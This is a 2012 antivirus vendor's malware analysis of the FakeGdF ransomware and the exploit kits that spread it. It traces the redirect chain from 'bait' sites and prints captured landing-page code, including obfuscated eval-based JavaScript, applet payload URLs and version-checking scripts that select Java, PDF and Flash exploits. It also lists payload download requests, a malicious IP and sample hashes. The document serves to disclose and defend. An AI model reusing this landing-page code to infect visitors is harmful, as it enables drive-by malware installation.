For several months the malware
Trojan.Win32.FakeGdF has massively spread in Italy and all over the world, with multiple varants released every day.
This kind of ransomware pretends to be a governmental institution of the country in which he spreads (e.g.
Polizia, Carabinieri, Guardia di Finanza, Aisi, Siae, Bundes Polizei,
FBI, Ministere de l'Interieur etc).
As stated above, this kind of malware is not an Italian phenomenon anymore but a real worldwide threat, architected by a well- organized group of virus writers that earn money on top of unfortunate users which pay the ransom.
Who's behind this fraud?
To answer this question, it's necessary to understand how the PC gets infected and how the infection spreads.
Usually, the
Trojan.Win32.FakeGdF infects the PC through specifically crafted porn sites or through normal websites that have been infected by the malware.
These websites use some "
Exploit Kit", such as
BlackHole 2.0 or
Cool Exploit Kit, to infect the pc.
"Exploit Kits" are tools that contains various exploits to a lot of vulnerabilities present in many applications such as: Windows, Internet Explorer, Java, Acrobat Reader and Adobe Flash Player.
The usage of these Kits have permitted a growing diffusion of malwares and the volume of new malwares has increased dramatically day by day.
For this reason it's important to keep softwares like Windows, Java, Acrobat Reader and Adobe Flash Player always updated to the last version (see:
How can I defend myself?).
Different "Exploit Kits" are currently used to spread the FakeGdF malware.
From our analysis the malicious code downloads:
- A PDF file that contains malicious exploits
- A Java archive that contains malicious exploits
- An executable or a DLL that contains the payload file of the Trojan.Win32.FakeGdF.
![](http://tgsoft.it/immagini/news/anatomia_fake_gdf/4-schema_eng.png) |
Fig. 1 |
- The user, by surfing the net, ends up being caught by an infected porn site (called bait).
- The bait will redirect to a website in another server called "second step" websites. These "second step" websites stay alive for less than 24h.
- The second step website will start communicating with the user's PC by sending Java archives/PDF containing exploits and executables/dlls containing the FakeGdF payload.
"Bait" websites are normal domains that stay alive for a long time, they have been compomised by the crackers or have been created ad hoc from this fraud's authors.
"Second step" domains last less than 24 hours, these servers contains the malware components and infection's statistics (see
Trojan.Win32.FakeGdF control panel).
![](http://tgsoft.it/immagini/news/anatomia_fake_gdf/3-schema_eng.png) |
Fig. 2 |
In Fig. 2 we can see the management scheme of the websites related to the Trojan.Win32.FakeGdF, behind them there's an organisation (very likely based on east europe) that control "bait" sites and creates new "second step" domains every day (see
Geolocation of "bait" sites and "second step" domains").
![](http://tgsoft.it/immagini/news/anatomia_fake_gdf/1-schema_eng.png) |
![](http://tgsoft.it/immagini/news/anatomia_fake_gdf/2-schema_eng.png) |
Fig. 3 |
Fig. 4 |
In Fig. 3 we can see the infection scheme of
Trojan.Win32.FakeGdF, the "bait" site save the IP of the user, if the user have already been infected it won't redirect him to the "second step" website, else it will show the desired adult website.
TG Soft's C.R.A.M., since october 2012, is monitoring the evolution of FakeGdF ransomware:
"/links/yesterday- feel.php" traffic analysis
The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:
GET /?__from_jsc=1&force_ref=&__usr_time=Tue%20Oct%202%2017%3A17%3A57%20UTC +0100%202012&__jsc_enable=1&__usr_lang=it
At this point XXX redirects to YYY, which produce the following HTTP GET request:
GET /links/yesterday-feel.php
Then, YYY sens to the user's browser the following web page:
<html>
<body>
<applet archive="http:// [YYY]/links/yesterday-feel.php?mkltkre=3808083734&ygv=373e&gsbc=wbg&tkbl=hdrp"
code="hw">
<param value="N0b0909041f31311a04041a441a0921193c382c0009441a00323a
& nbsp; [..]
& nbsp; c181c421c1a1c34082b1c27021e391c27021212390902350e3935"
name='uid' />
</applet>
<script>
g = "getElementById";
p = parseInt;
cc = "concat";
ss = String.fromCharCode;
gg = "Attribute";
ggg = "google";
function asd() {
eval(s);
}
ddd = "ad".substr(1);
</script>
<u id="google" d0="!4442494b46(3d42142o3o_453j3l3q2c%3h443h3f44%254b46 ....
[..]
d91="3f$3o3d43 ....
<script>
a = document[g](ggg);
s = "";
for (i = 0;; i++) {
r = a["get" + gg](ddd[cc](i));
if (r) {
s = s + r;
} else break;
}
a = s;
k = "";
a = a.replace(/[^0-9a-z]/g, k);
s = "";
sss = "substr";
try {
("".substr + "dwvq3")()
} catch (gdsg) {
qa = 0x1c;
}
for (i = 0; i < a.length; i += 2) {
if (020 == 0x10) s += ss(p(a[sss](i, 2), qa));
}
window.asd();
</script>
</body>
</html>
|
This web page contains some scripts and an applet:
<applet archive="http://[YYY]/links/yesterday-feel.php? mkltkre=3808083734&ygv=373e&gsbc=wbg&tkbl=hdrp" code="hw">
Scripts inside the page are obfuscated and produce a GET request to the site
146.185.215.244:
GET /shrift.php
The IP
146.185.215.244 is located in Russia, an exploited
PDF will be downloaded from this website to the user's PC.
Once the
PDF document is downloaded, the Acrobat Reader plugin wil generate a download to the
font.eot file.
The applet will generate this request to a JAVA file:
GET /links/yesterday-feel.php? dtdtqil=3808083734&lizscsal=4c&iahwyeok=06090a3708050a063402&efch=0302000300020002
This request generate other GET requests to JAVA archives:
GET /links/yesterday-feel.php? mkltkre=3808083734&ygv=373e&gsbc=wbg&tkbl=hdrp
Lastly, this GET request is made to YYY:
GET /links/yesterday-feel.php? rf=3808083734&le=06090a3708050a063402&y=02&zz=t&ev=e
This final request downloads and executes
"contacts.exe" , which contains Trojan.Win32.FakeGdF's payload.
"/r/l/selects_backed-deliver_sources.php" traffic analysis
The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:
GET /?__from_jsc=1&force_ref=&__usr_time=Thu%20Oct%2018%2015%3A59%3A51%20UTC +0100%202012&__jsc_enable=1&__usr_lang=it
At this point XXX redirects to YYY, which produce the following HTTP GET request:
GET /r/l/selects_backed-deliver_sources.php
Then, YYY sens to the user's browser the following web page:
<html>
<head>
<title>Battlefield</title>
<style>
@font-face {
font-family:'p1';
src:url('http://[YYY]/r/32size_font.eot');
}
.duqu {
font-size:5px;
line-height:normal;
font-family:'p1';
position:absolute;
top:0px;
left:0px;
}
</style>
</head>
<body onload='try{window.focus();}catch(e){}'>
<div class='duqu'>:) </div>
<applet archive='http:// [YYY]/r/myadv.php'
code='b34bffesa' width='468' height='200'>
<param name='uid' value='A0b0909041f31 [...]
& nbsp; 91c022c391c'/>
</applet>
<br>
<br>
<iframe src='http:// [YYY]/r/pricelist.php' width='468'
height='468'></iframe>
</body>
</html> |
Very distinctive is the page's title: Battlefield
the "duqu" class used:
.duqu {
and the div tag: <div class='duqu'>:)</div>
Inside the page we will find:
- font: r/32size_font.eot
- applet Java: r/myadv.php
- iframe: r/pricelist.php
The first request executed is:
GET /r/32size_font.eot
After that, the Iframe request is handled, it downloads a PDF file:
GET /r/pricelist.php
Then, a JAVA archive is downloaded:
GET /r/myadv.php
Finally, this GET request is made to YYY:
GET /r/f.php?k=1&e=0&f=0
This implies the download of myfile.dll which contains Trojan.Win32.FakeGdF's payload.
"/t/l/utterly-existed-appropriate.php" traffic analysis
The infection method used by "/t/l/utterly-existed-appropriate.php" is the same to "/r/l/selects_backed-deliver_sources.php", the only thing that changes is the name of the folder from "r" to "t".
The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:
GET /?__from_jsc=1&force_ref=&__usr_time=Thu%20Oct%2018%2015%3A59%3A51%20UTC +0100%202012&__jsc_enable=1&__usr_lang=it
At this point XXX redirects to YYY, which produce the following HTTP GET request:
GET /r/l/selects_backed-deliver_sources.php
Then, YYY sens to the user's browser the following web page:
<html>
<head>
<title>Battlefield</title>
<style>
@font-face {
font-family:'p1';
src:url('http://[YYY]/r/32size_font.eot');
}
.duqu {
font-size:5px;
line-height:normal;
font-family:'p1';
position:absolute;
top:0px;
left:0px;
}
</style>
</head>
<body onload='try{window.focus();}catch(e){}'>
<div class='duqu'>:) </div>
<applet archive='http:// [YYY]/r/myadv.php'
code='b34bffesa' width='468' height='200'>
<param name='uid' value='A0b0909041f31 [...]
& nbsp; 91c022c391c'/>
</applet>
<br>
<br>
<iframe src='http:// [YYY]/r/pricelist.php' width='468'
height='468'></iframe>
</body>
</html> |
Very distinctive is the page's title: Battlefield
the "duqu" class used:
.duqu {
and the div tag: <div class='duqu'>:)</div>
Inside the page we will find:
- font: t/32size_font.eot
- applet Java: t/myadv.php
- iframe: t/pricelist.php
The first request executed is:
GET /t/32size_font.eot
After that, the Iframe request is handled, it downloads a PDF file:
GET /t/pricelist.php
Then, a JAVA archive is downloaded:
GET /t/myadv.php
Finally, this GET request is made to YYY:
GET /t/f.php?k=1&e=0&f=0
This implies the download of myfile.dll which contains Trojan.Win32.FakeGdF's payload.
"Hello my friend..." page traffic analysis
Since the 13th of november, we recognized a new infection method used by FakeGdF.
The infection method is based upon the already seen "/t/l/utterly-existed- appropriate.php" page
with a different title "Hello my friend...", and a new script that exploits more vulnerabilities.
The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:
GET /?__from_jsc=1&force_ref=
At this point XXX redirects to YYY, which produce the following HTTP GET request:
GET /t/l/utterly-existed-appropriate.php
Then, YYY sens to the user's browser the following web page:
<html>
<head>
<title>Hello my friend...</title>
</head>
<body>
<script>
var PluginDetect = {
version: "0.7.9",
name: "PluginDetect",
handler: function (c, b, a) {
return function () {
& nbsp; c(b, a)
}
},
openTag: "<",
isDefined: function (b) {
return typeof b != "undefined"
},
isArray: function (b) {
return (/array/i).test(Object.prototype.toString.call(b))
},
[...]
function displayResults($) {
var javax = ($.getVersion("Java") + ".").toString().split(".");
if ($.isMinVersion("Java") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 7) || (javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 9))) {
[...]
width="300" height="300"><param name="val" value="' + val1 + '"/><param name="prime" value="' + val2 + '"/></applet>';
document.body.appendChild(d);
setTimeout("ShowPDF()", 5509);
} else {
ShowPDF();
}
};
[...]
function ShowPDF() {
var pdf = (PluginDetect.getVersion("AdobeReader") + ".").toString().split (".");
var vver = "";
if (pdf[0] < 8) {
vver = "old";
setTimeout("FlashExploit()", 8003);
} else if (pdf[0] == 8 || (pdf[0] == 9 && pdf[1] < 4)) {
[...]
d.innerHTML = '<iframe src="../media/pdf_' + vver + '.php"></iframe>';
document.body.appendChild(d);
[...]
}
function FlashExploit() {
var ver = ($$.getVersion("Fl" + "ash") + ".").toString().split (".");
if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || ((ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2)))
|| ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == (11 - 1) && ver[1] < 2))) {
[...]
pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"
}
} < /script>
</body >
< /html>
|
The php page uses the following functions:
displayResults($) |
check for the JAVA version inside user's PC and inject the proper exploit
|
ShowPDF() |
check for the Acrobat Reader version inside user's PC and inject the proper exploit |
FlashExploit() |
check for the AdobeFlashPlayer version inside user's PC and inject the proper exploit |
Java version:
>= 6.0.00 e < 6.0.33 |
Download of: file.jar and execution of PDF vulnerabilities
|
>= 7.0.00 e < 7.0.07 |
Download of: new.jar and execution of PDF vulnerabilities |
< 9 |
Download of: file.jar and execution of PDF vulnerabilities |
If the Exploit Kit finds different JAVA version it tries to execute PDF vulnerabilities.
Adobe Reader version:
< 8 |
Download of the pdf: pdf_old.php |
= 8 oppure pdf >= 9.0 e < 9.4 |
Download of the pdf: pdf_new.php and execution of the Flash exploit. |
> 9.4 |
execution of the Flash exploit.
|
PDFs download and execution is accomplished through iframes.
Adobe Flash Player version:
If Adobe Flash Player major version is 10 the Exploit Kit starts checking for the minor version:
> 10.0.40 |
Download of the file: field.swf |
>= 10.1 e < 10.2
|
< 10.2.159 |
< 10.2 |
<= 10.3.181.23 |
Download of the: flash.swf |
< 10.3.181 |
In our internal test the script have executed the following requests:
The first request:
GET /t/media/new.jar
Involves the execution of JAVA exploits.
After that, the following request has been executed to YYY:
GET /t/f.php?k=2&e=0&f=0
This brings the download of myfile.dll which contains Trojan.Win32.FakeGdF's payload.
In this FakeGdF new version we have noticed these components:
File name
|
Size (byte)
|
MD5 |
new.jar |
10387 |
2f5b3dd45bdb8a9c5cc5647e94257d36 |
file.jar |
30567 |
fa010d71e4cfabea3bb69fb99caa0cfe |
pdf_new.php |
14532 |
4531f0b0fc2c314ea82c2f847e36bfb0 |
pdf_old.php |
27279 |
94369d327ecbf249fe14c48fab3ac70c |
score.swf |
5969 |
8ee6d435e5bb423671bd03728745bd0b |
getJavaInfo.jar |
587 |
fad89bdfdce9322767944f0e1f15a009 |
field.swf |
1045 |
cee585aab7e27d917f57cb6ecadf39d4 |
flash.swf |
2850 |
5b0a54f611677389607ea2a9e3b0ef10 |
How can I defend myself
It's necessary to keep these softwares up to date:
Software |
Descrizione |
VirIT eXplorer |
Update the antivirus daily with the last virus definitions available.
Professional version can grant you web navigation protection with the "Web Filter Protection" module that permits safe browsing with every Browser: Internet Explorer, Firefox, Chrome, Safari, Opera, etc.
Lite (free) version has a safe browsing addon for Internet Explorer only. |
Windows |
Launch Windows Update and check for updates.
If it is disabled then enable it and search for updates. If it asks to restart the PC, do it and then try to check wether all the updates have been downloaded and installed correctly. |
Java |
Check Java version from the "Programs and features" section of the Control Panel.
Last Java version, at the time this document is being written, is version 7 update 9.
If your version is older than 7 update 9 then it's strongly recommended to uninstall it and download the last version from http://java.com. |
Acrobat Reader |
The last version is 11.0
It is possible to download and install the last version from: http://get.adobe.com/it/reader/ |
Adobe Flash Player |
The last version is 11.5.502.110
It is possible to download and install the last version from: http://get.adobe.com/it/flashplayer/ |
Geolocation of "bait" and "second step" websites
We've conveniently represented on Google Earth the geolocation of ISPs related to "bait" and "second step" websites used by the creators of the ransomware Trojan.Win32.FakeGdF.
In the figure we can see the geolocation of web domains used by the malware Trojan.Win32.FakeGdF. These are spread mainly in Europe: Russia, Hollande, Germany and England.
ISPs of "bait" sites are marked with a red pin.
ISPs of "second step" sites are marked with a yellow pin.
Very common are Russian ISPs, such as:
- Petersburg Internet Network ltd. (San Pietroburgo)
- AWAX Telecom Ltd. (Mosca)
- Digital Networks CJSC (Mosca)
- Reg.Ru Hosting (Mosca)
Trojan.Win32.FakeGdF Control Panel
Every "second step" website have a control panel to check infection statistics.
As you can see from the figure, the control panel is written in cirillic characters and it is divided in sections based upon the browser and the country.
At the moment of the analysis there are no infections statistics on this "second step" website.
Analysis written by Engineer Gianfranco Tonello
C.R.A.M. Centro Ricerche Anti Malware by TG Soft
Articles related to Trojan.Win32.FakeGdF: